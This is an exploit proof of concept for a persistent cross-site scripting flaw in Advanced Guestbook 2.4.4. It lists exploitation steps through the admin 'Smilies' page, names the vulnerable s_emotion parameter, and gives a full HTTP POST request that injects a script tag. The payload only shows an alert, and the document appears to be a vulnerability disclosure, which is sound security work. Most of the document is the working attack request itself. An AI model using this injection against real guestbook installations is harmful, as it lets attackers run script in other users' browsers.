59 lines
No EOL
2.2 KiB
Text
59 lines
No EOL
2.2 KiB
Text
# Exploit Title: Advanced Guestbook 2.4.4 - 'Smilies' Persistent Cross-Site Scripting (XSS)
|
|
# Date: 17/08/2021
|
|
# Exploit Author: Abdulkadir AYDOGAN
|
|
# Vendor Homepage: https://www.ampps.com/apps/guestbooks/Advanced_Guestbook
|
|
# Software Link: https://www.ampps.com/apps/guestbooks/Advanced_Guestbook
|
|
# Version: 2.4.4
|
|
|
|
Advanced Guestbook is a free open source guestbook script developed in PHP.
|
|
Examples of features include email notifications, uploading pictures, html
|
|
tags handling, multiple polls, comments and themes.
|
|
|
|
#Description
|
|
The following is PoC to use the XSS bug with authorized user.
|
|
|
|
Firstly there are four part of a emotion object which is :
|
|
|
|
- Emotion icon
|
|
- Emotion file name
|
|
- Emotion command which will be used to call this object (s_code)
|
|
- Emotion description (s_emotion)
|
|
|
|
Here is the exploitation steps for vulnerability:
|
|
|
|
1. Login to your admin account.
|
|
2. Go to "Smilies" tab to view and edit emotion icons
|
|
3. Click "edit" text in the "Action" column to edit emotions
|
|
4. Change emotion description to Javascript code
|
|
5. Click the "Submit Settings"
|
|
6. Click "Smilies" tab again to view all emotions and Javascript code will
|
|
be executed
|
|
|
|
# Vulnerable Parameter Type: POST
|
|
# Vulnerable Parameter: s_emotion
|
|
# Attack Pattern: <script>alert("Smile more!")</script>
|
|
|
|
#PoC
|
|
HTTP Request:
|
|
|
|
POST /advancedguestbook/admin.php HTTP/1.1
|
|
Host: HOST_ADDRESS
|
|
Content-Length: 175
|
|
Cache-Control: max-age=0
|
|
Upgrade-Insecure-Requests: 1
|
|
Origin: http://HOST_ADDRESS
|
|
Content-Type: application/x-www-form-urlencoded
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
|
|
(KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
|
|
Accept:
|
|
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
Referer:
|
|
http://HOST_ADDRESS/advancedguestbook/admin.php?action=smilies&session=17395de9919fffa0ac9476370c2c7ba0&uid=1&edit_smilie=7
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
|
|
Cookie: _ga=GA1.2.2068746825.1621203842; _gid=GA1.2.1432458757.1621203842;
|
|
_gat=1
|
|
Connection: close
|
|
|
|
s_code=:cool:&s_emotion=<script>alert("Smile
|
|
more!")</script>&edit_smilie=7&uid=1&session=17395de9919fffa0ac9476370c2c7ba0&action=smilies&add_smilies=1 |